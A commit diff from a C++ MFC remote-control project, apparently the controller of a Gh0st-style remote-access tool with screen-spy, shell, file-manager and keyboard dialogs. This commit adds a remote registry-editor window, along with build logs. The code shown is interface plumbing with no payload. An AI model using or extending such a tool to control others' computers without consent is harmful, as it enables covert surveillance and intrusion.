m_CList_Message.SetBkImage(sPath.GetBuffer(sPath.GetLength()), TRUE); // 定义CListCtrl m_controllist1;
sPath.ReleaseBuffer();
}
if (m_wndStatusBar.m_hWnd != NULL) { //当对话框大小改变时 状态条大小也随之改变
@@ -355,11 +368,13 @@ void CCcRemoteDlg::OnSize(UINT nType, int cx, int cy)
if (m_ToolBar.m_hWnd != NULL) //工具条
{
CRect rc;
rc.top = rc.left = 0;
rc.top = 0;
rc.left = 250;
rc.right = cx;
rc.bottom = 80;
m_ToolBar.MoveWindow(rc); //设置工具条大小位置
}
// TODO: 在此处添加消息处理程序代码
}
@@ -553,6 +568,8 @@ void CCcRemoteDlg::OnOnlineProcess()
void CCcRemoteDlg::OnOnlineRegist()
{
// TODO: 在此添加命令处理程序代码
BYTE bToken = COMMAND_REGEDIT;
SendSelectCommand(&bToken, sizeof(BYTE));
}
@@ -813,6 +830,8 @@ void CCcRemoteDlg::ProcessReceiveComplete(ClientContext *pContext)
case SERVER_DLG:
((CServerDlg *)dlg)->OnReceiveComplete();
break;
case REGEDIT_DLG:
((CRegDlg *)dlg)->OnReceiveComplete();
default:
break;
}
@@ -879,6 +898,9 @@ void CCcRemoteDlg::ProcessReceiveComplete(ClientContext *pContext)
case TOKEN_SERVERLIST:
g_pCcRemoteDlg->PostMessage(WM_OPENSERVERDIALOG, 0, (LPARAM)pContext);
break;
case TOKEN_REGEDIT:
g_pCcRemoteDlg->PostMessage(WM_OPENREGEDITDIALOG, 0, (LPARAM)pContext);
break;
// 命令停止当前操作
default:
closesocket(pContext->m_Socket);
@@ -1095,7 +1117,7 @@ LRESULT CCcRemoteDlg::OnOpenServerDialog(WPARAM wParam, LPARAM lParam)
ClientContext *pContext = (ClientContext *)lParam;
CServerDlg *dlg = new CServerDlg(this, m_iocpServer, pContext); //动态创建CSystemDlg
// 设置父窗口为
// 设置父窗口为
dlg->Create(IDD_SERVERDLG, GetDesktopWindow()); //创建对话框
dlg->ShowWindow(SW_SHOW); //显示对话框
@@ -1105,6 +1127,22 @@ LRESULT CCcRemoteDlg::OnOpenServerDialog(WPARAM wParam, LPARAM lParam)
return 0;
}
//注册表管理窗口
LRESULT CCcRemoteDlg::OnOpenRegEditDialog(WPARAM wParam, LPARAM lParam)
{
ClientContext *pContext = (ClientContext *)lParam;
CRegDlg *dlg = new CRegDlg(this, m_iocpServer, pContext); //动态创建CSystemDlg
// 设置父窗口为桌面
dlg->Create(IDD_DIALOG_REGEDIT, GetDesktopWindow()); //创建对话框
dlg->ShowWindow(SW_SHOW); //显示对话框
pContext->m_Dialog[0] = REGEDIT_DLG; //这个值用做服务端再次发送数据时的标识
pContext->m_Dialog[1] = (int)dlg;
//先看一下这个对话框的界面再看这个对话框类的构造函数
return 0;
}
//绘制背景图片
BOOL CCcRemoteDlg::OnEraseBkgnd(CDC* pDC)
{
@@ -1120,7 +1158,7 @@ BOOL CCcRemoteDlg::OnEraseBkgnd(CDC* pDC)
//pDC->StretchBlt(0, 0, rect.Width(), rect.Height(), &MemDC, 0, 0, Bp.bmWidth, Bp.bmHeight, SRCCOPY);
//MemDC.DeleteDC();
return TRUE;
//return TRUE;
return CDialogEx::OnEraseBkgnd(pDC);
}
@@ -1129,33 +1167,17 @@ HBRUSH CCcRemoteDlg::OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor)
{
HBRUSH hbr = CDialogEx::OnCtlColor(pDC, pWnd, nCtlColor);
// TODO: 在此更改 DC 的任何特性
//switch (pWnd->GetDlgCtrlID()) {
////case IDC_STATIC_NAME:
////case IDC_STATIC_ID:
////case IDC_STATIC_PW:
//// pDC->SetBkMode(TRANSPARENT);
//// pDC->SetTextColor(RGB(0, 255, 0));
//// hbr = (HBRUSH)GetStockObject(NULL_BRUSH);//空画刷,不加此句会有阴影
//// break;
//case IDR_TOOLBAR_MAIN:
// CWnd* pd;
// CRect rc;
// if (pWnd->GetDlgCtrlID() == IDR_TOOLBAR_MAIN)
// pd = (CWnd*)GetDlgItem(IDR_TOOLBAR_MAIN);
// pd->GetClientRect(&rc);
// ScreenToClient(&rc);
// pDC->SetBkMode(TRANSPARENT);
// pDC->SetTextColor(RGB(255, 0, 0));
// CBitmap bmp;
// bmp.LoadBitmap(IDB_BACKGROUND_CCREMOTE);
// CBrush brush(&bmp);
// CBrush* pOldBrush = (CBrush*)pDC->SelectObject(&brush);
// pDC->FillRect(&rc, &brush);
// hbr = (HBRUSH)brush;
// break;
//}
// TODO: 如果默认的不是所需画笔,则返回另一个画笔
if (m_CList_Online.m_hWnd != NULL&& isTrue == 0)
{
TCHAR szBuffer[_MAX_PATH];
VERIFY(::GetModuleFileName(AfxGetInstanceHandle(), szBuffer, _MAX_PATH));
CString sPath = (CString)szBuffer;
sPath = sPath.Left(sPath.ReverseFind('\\') + 1);
sPath += "res\\list_online_pic.bmp";
isTrue = m_CList_Online.SetBkImage(sPath.GetBuffer(sPath.GetLength()), TRUE); // 定义CListCtrl m_controllist1;
sPath.ReleaseBuffer();
// TODO: 如果默认的不是所需画笔,则返回另一个画笔
}
return hbr;
}

View File

@@ -38,23 +38,32 @@ protected:
virtual BOOL OnInitDialog();
afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
afx_msg void OnPaint();
afx_msg void OnSize(UINT nType, int cx, int cy);
afx_msg HCURSOR OnQueryDragIcon();
DECLARE_MESSAGE_MAP()
public:
CStatusBar m_wndStatusBar;//状态控件
CListCtrl m_CList_Online;//在线列表变量
CListCtrl m_CList_Message;//消息列表变量
CTrueColorToolBar m_ToolBar;//工具条按钮控件变量
afx_msg void OnSize(UINT nType, int cx, int cy);
private:
//--------------变量及常量----------------
SEU_QQwry *m_QQwry; //识别IP区域
int m_OnlineCount;//上线计数
CBrush m_brush;//绘色函数
CMenu popup;//LIST菜单变量
NOTIFYICONDATA nid;//含有图标 消息响应 的一个结构体 用于系统托盘
NOTIFYICONDATA nid; // 含有图标 消息响应 的一个结构体 用于系统托盘
CMenu popup; // LIST菜单变量
SEU_QQwry* m_QQwry; // 识别IP区域
CBrush m_brush; // 绘色函数
CTrueColorToolBar m_ToolBar; // 工具条按钮控件变量
CStatusBar m_wndStatusBar; // 状态控件
CListCtrl m_CList_Online; // 在线列表变量
CListCtrl m_CList_Message;// 消息列表变量
int m_OnlineCount; // 上线计数
CBitmap m_BitmapPicLogoA;
CStatic m_PicLogoA; // 左上角logo
bool isTrue; //list背景是否已经加载
#define COLUMN_ONLINE_COUNT 7 //在线列表的个数
#define COLUMN_MESSAGE_COUNT 3 //消息列表的个数
@@ -82,21 +91,26 @@ private:
//-----------------------函数-----------------------
int InitList();//初始化list控件信息
int InitMyMenu();//初始化主页面上方菜单
void InitStatusBar();//初始化状态控件
void InitToolBar();//初始化工具条按钮控件
void InitSystemMenu();//初始化系统托盘菜单
void AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, CString strCPU, CString strVideo, CString strPing, ClientContext*pContext);
void ShowMessage(bool bIsOK, CString strMsg);//显示日志
void Test();
void Test();
int InitList(); // 初始化list控件信息
int InitMyMenu(); // 初始化主页面上方菜单
void InitStatusBar(); // 初始化状态控件
void InitToolBar(); // 初始化工具条按钮控件
void InitSystemMenu(); // 初始化系统托盘菜单
void ListenPort(); // 监听端口设置
void InitPic(); // 初始化界面图片
void Activate(UINT nPort, UINT nMaxConnections); // 监听端口
void ShowMessage(bool bIsOK, CString strMsg); // 显示日志
void ListenPort();
// 添加信息到列表
void AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, CString strCPU, CString strVideo, CString strPing, ClientContext*pContext);
// socket 的处理都要调用这个回调函数
static void CALLBACK NotifyProc(LPVOID lpParam, ClientContext* pContext, UINT nCode);
void Activate(UINT nPort, UINT nMaxConnections);//监听端口
// 控制命令都要经过这个函数
static void ProcessReceiveComplete(ClientContext *pContext);
public:
//-------------自定义消息处理-------------
afx_msg void OnIconNotify(WPARAM wParam, LPARAM lParam);
@@ -107,6 +121,7 @@ public:
afx_msg LRESULT OnOpenManagerDialog(WPARAM, LPARAM);
afx_msg LRESULT OnOpenAudioDialog(WPARAM, LPARAM);
afx_msg LRESULT OnOpenServerDialog(WPARAM, LPARAM);
afx_msg LRESULT OnOpenRegEditDialog(WPARAM, LPARAM);
//-------------系统消息处理-------------
afx_msg void OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult);
@@ -130,4 +145,5 @@ private:
public:
afx_msg BOOL OnEraseBkgnd(CDC* pDC);
afx_msg HBRUSH OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor);
};

View File

@@ -1,36 +1,34 @@
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.pch
f:\myapp\ccremote\ccremote\ccremote\debug\vc141.pdb
f:\myapp\ccremote\ccremote\ccremote\debug\vc141.idb
f:\myapp\ccremote\ccremote\ccremote\debug\pch.obj
f:\myapp\ccremote\ccremote\ccremote\debug\audio.obj
f:\myapp\ccremote\ccremote\ccremote\debug\truecolortoolbar.obj
f:\myapp\ccremote\ccremote\ccremote\debug\seu_qqwry.obj
f:\myapp\ccremote\ccremote\ccremote\debug\inputdlg.obj
f:\myapp\ccremote\ccremote\ccremote\debug\inifile.obj
f:\myapp\ccremote\ccremote\ccremote\debug\cpuusage.obj
f:\myapp\ccremote\ccremote\ccremote\debug\csystemdlg.obj
f:\myapp\ccremote\ccremote\ccremote\debug\cshelldlg.obj
f:\myapp\ccremote\ccremote\ccremote\debug\csettingdlg.obj
f:\myapp\ccremote\ccremote\ccremote\debug\cscreenspydlg.obj
f:\myapp\ccremote\ccremote\ccremote\debug\filetransfermodedlg.obj
f:\myapp\ccremote\ccremote\ccremote\debug\cserverdlg.obj
f:\myapp\ccremote\ccremote\ccremote\debug\cfilemanagerdlg.obj
f:\myapp\ccremote\ccremote\ccremote\debug\ccremotedlg.obj
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.obj
f:\myapp\ccremote\ccremote\ccremote\debug\caudiodlg.obj
f:\myapp\ccremote\ccremote\ccremote\debug\iocpserver.obj
f:\myapp\ccremote\ccremote\ccremote\debug\buffer.obj
f:\myapp\ccremote\bin\ccremote.ilk
f:\myapp\ccremote\bin\ccremote.exe
f:\myapp\ccremote\bin\ccremote.pdb
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.res
f:\myapp\ccremote\ccremote\ccremote\..\..\bin\ccremote.exe
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.command.1.tlog
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.read.1.tlog
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.write.1.tlog
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.command.1.tlog
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.read.1.tlog
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.write.1.tlog
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.command.1.tlog
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.read.1.tlog
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.write.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.pch
g:\ccremote\ccremote\ccremote\ccremote\debug\vc141.pdb
g:\ccremote\ccremote\ccremote\ccremote\debug\vc141.idb
g:\ccremote\ccremote\ccremote\ccremote\debug\pch.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\audio.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\truecolortoolbar.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\seu_qqwry.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\regdlg.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\inputdlg.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\inifile.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\cpuusage.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\csystemdlg.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\cshelldlg.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\csettingdlg.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\cscreenspydlg.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\filetransfermodedlg.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\cserverdlg.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\cfilemanagerdlg.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremotedlg.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\caudiodlg.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\iocpserver.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\buffer.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.res
g:\ccremote\ccremote\ccremote\ccremote\..\..\bin\ccremote.exe
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.command.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.read.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.write.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.command.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.read.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.write.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.command.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.read.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.write.1.tlog

View File

@@ -1,77 +1,14 @@
C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
pch.cpp
Audio.cpp
f:\myapp\ccremote\common\audio.cpp(99): warning C4018: “<”: 有符号/无符号不匹配
CAudioDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\caudiodlg.cpp(29): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
G:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
CcRemote.cpp
CcRemoteDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(166): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(171): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(314): warning C4244: “初始化”: 从“double”转换到“int”可能丢失数据
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(337): warning C4244: “初始化”: 从“double”转换到“int”可能丢失数据
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(838): warning C4018: “<=”: 有符号/无符号不匹配
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(923): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
CFileManagerDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\inputdlg.h(69): warning C4302: “类型强制转换”: 从“LPSTR”到“WORD”截断
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(81): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(360): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”可能丢失数据
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(361): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”可能丢失数据
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(861): warning C4101: “VolName”: 未引用的局部变量
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(862): warning C4101: “FileSystem”: 未引用的局部变量
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1123): warning C4018: “<”: 有符号/无符号不匹配
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1153): warning C4307: “+”: 整型常量溢出
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1571): warning C4307: “+”: 整型常量溢出
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1605): warning C4129: “*”: 不可识别的字符转义序列
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1647): warning C4307: “+”: 整型常量溢出
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1741): warning C4307: “+”: 整型常量溢出
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1901): warning C4129: “*”: 不可识别的字符转义序列
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1925): warning C4129: “*”: 不可识别的字符转义序列
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1942): warning C4129: “*”: 不可识别的字符转义序列
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1986): warning C4244: “初始化”: 从“float”转换到“int”可能丢失数据
CServerDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\cserverdlg.cpp(56): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
FileTransferModeDlg.cpp
CScreenSpyDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\cscreenspydlg.cpp(54): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
f:\myapp\ccremote\ccremote\ccremote\cscreenspydlg.cpp(607): warning C4554: “<<”: 检查运算符优先级是否存在的可能的错误;使用括号阐明优先级
f:\myapp\ccremote\ccremote\ccremote\cscreenspydlg.cpp(621): warning C4554: “<<”: 检查运算符优先级是否存在的可能的错误;使用括号阐明优先级
CSettingDlg.cpp
CShellDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(95): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(122): warning C4018: “<”: 有符号/无符号不匹配
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(208): warning C4018: “<=”: 有符号/无符号不匹配
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(218): warning C4018: “<”: 有符号/无符号不匹配
CSystemDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\csystemdlg.cpp(114): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
CpuUsage.cpp
IniFile.cpp
f:\myapp\ccremote\ccremote\ccremote\inifile.cpp(33): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
InputDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\inputdlg.h(69): warning C4302: “类型强制转换”: 从“LPSTR”到“WORD”截断
f:\myapp\ccremote\ccremote\ccremote\inputdlg.cpp(124): warning C4996: 'wcscpy': This function or variable may be unsafe. Consider using wcscpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\corecrt_wstring.h(123): note: 参见“wcscpy”的声明
f:\myapp\ccremote\ccremote\ccremote\inputdlg.cpp(159): warning C4302: “类型强制转换”: 从“LPSTR”到“WORD”截断
SEU_QQwry.cpp
TrueColorToolBar.cpp
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(169): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(174): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(333): warning C4244: “初始化”: 从“double”转换到“int”可能丢失数据
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(353): warning C4244: “初始化”: 从“double”转换到“int”可能丢失数据
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(857): warning C4018: “<=”: 有符号/无符号不匹配
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(945): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
正在生成代码...
Buffer.cpp
IOCPServer.cpp
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(133): warning C4996: 'WSASocketA': Use WSASocketW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(3416): note: 参见“WSASocketA”的声明
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(725): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(774): warning C4244: “初始化”: 从“double”转换到“unsigned long”可能丢失数据
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(920): warning C4018: “>=”: 有符号/无符号不匹配
正在生成代码...
CcRemote.vcxproj -> F:\myapp\CcRemote\CcRemote\CcRemote\..\..\bin\CcRemote.exe
CcRemote.vcxproj -> G:\CcRemote\CcRemote\CcRemote\CcRemote\..\..\bin\CcRemote.exe

Binary file not shown.

View File

@@ -1,2 +1,2 @@
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
Debug|Win32|F:\myapp\CcRemote\CcRemote\|
Debug|Win32|G:\CcRemote\CcRemote\CcRemote\|

View File

@@ -44,6 +44,7 @@ enum
WM_OPENPSLISTDIALOG, // <20>򿪽<EFBFBD><F2BFAABD>̹<EFBFBD><CCB9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
WM_OPENSHELLDIALOG, // <20><><EFBFBD><EFBFBD>shell<6C><6C><EFBFBD><EFBFBD>
WM_OPENSERVERDIALOG, // <20>򿪷<EFBFBD><F2BFAAB7>񴰿<EFBFBD>
WM_OPENREGEDITDIALOG, // <20><><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
WM_RESETPORT, // <20>ı<EFBFBD><C4B1>˿<EFBFBD>
//////////////////////////////////////////////////////////////////////////
FILEMANAGER_DLG = 1, // <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
@@ -53,7 +54,8 @@ enum
KEYBOARD_DLG, // <20><><EFBFBD><EFBFBD> δʵ<CEB4><CAB5>
SYSTEM_DLG, // <20><><EFBFBD><EFBFBD>
SHELL_DLG, // shell<6C><6C><EFBFBD><EFBFBD>
SERVER_DLG // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
SERVER_DLG, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
REGEDIT_DLG // ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
};

View File

@@ -0,0 +1,308 @@
// RegDlg.cpp : ʵ<><CAB5><EFBFBD>ļ<EFBFBD>
//
#include "pch.h"
#include "CcRemote.h"
#include "RegDlg.h"
#include "afxdialogex.h"
#include "..\..\common\macros.h"
// CRegDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
IMPLEMENT_DYNAMIC(CRegDlg, CDialog)
enum MYKEY{
MHKEY_CLASSES_ROOT,
MHKEY_CURRENT_USER,
MHKEY_LOCAL_MACHINE,
MHKEY_USERS,
MHKEY_CURRENT_CONFIG
};
enum KEYVALUE{
MREG_SZ,
MREG_DWORD,
MREG_BINARY,
MREG_EXPAND_SZ
};
struct REGMSG{
int count; //<2F><><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD>
DWORD size; //<2F><><EFBFBD>ִ<EFBFBD>С
DWORD valsize; //ֵ<><D6B5>С
};
CRegDlg::CRegDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext)
: CDialog(IDD_DIALOG_REGEDIT, pParent)
{
m_iocpServer = pIOCPServer;
m_pContext = pContext;
}
CRegDlg::~CRegDlg()
{
}
void CRegDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
DDX_Control(pDX, IDC_TREE, m_tree);
DDX_Control(pDX, IDC_LIST, m_list);
}
BEGIN_MESSAGE_MAP(CRegDlg, CDialog)
ON_NOTIFY(TVN_SELCHANGED, IDC_TREE, &CRegDlg::OnTvnSelchangedTree)
END_MESSAGE_MAP()
// CRegDlg <20><>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
BOOL CRegDlg::OnInitDialog()
{
CDialog::OnInitDialog();
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>Ӷ<EFBFBD><D3B6><EFBFBD><EFBFBD>ij<EFBFBD>ʼ<EFBFBD><CABC>
HICON hIcon = NULL;
m_ImageList_tree.Create(18, 18, ILC_COLOR16,10, 0);
hIcon = (HICON)::LoadImage(::AfxGetInstanceHandle(),MAKEINTRESOURCE(IDI_FATHER_ICON), IMAGE_ICON, 18, 18, 0);
m_ImageList_tree.Add(hIcon);
hIcon = (HICON)::LoadImage(::AfxGetInstanceHandle(),MAKEINTRESOURCE(IDI_DIR_ICON), IMAGE_ICON, 32, 32, 0);
m_ImageList_tree.Add(hIcon);
m_tree.SetImageList ( &m_ImageList_tree,TVSIL_NORMAL );
DWORD dwStyle = GetWindowLong(m_tree.m_hWnd,GWL_STYLE);
dwStyle |=TVS_HASBUTTONS | TVS_HASLINES;// | TVS_LINESATROOT;<3B><><EFBFBD><EFBFBD><EFB2BB>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʽ<EFBFBD><CABD>Ȼicoͼ<6F><CDBC><EFBFBD>޷<EFBFBD><DEB7><EFBFBD>ʾ
SetWindowLong(m_tree.m_hWnd,GWL_STYLE,dwStyle);
m_hRoot = m_tree.InsertItem("ע<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>",0,0,0,0);
HKCU=m_tree.InsertItem("HKEY_CURRENT_USER",1,1,m_hRoot,0);
HKLM=m_tree.InsertItem("HKEY_LOCAL_MACHINE",1,1,m_hRoot,0);
HKUS=m_tree.InsertItem("HKEY_USERS",1,1,m_hRoot,0);
HKCC=m_tree.InsertItem("HKEY_CURRENT_CONFIG",1,1,m_hRoot,0);
HKCR=m_tree.InsertItem("HKEY_CLASSES_ROOT",1,1,m_hRoot,0);
m_tree.Expand(m_hRoot,TVE_EXPAND);
m_list.InsertColumn(0,"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>",LVCFMT_LEFT,150,-1);
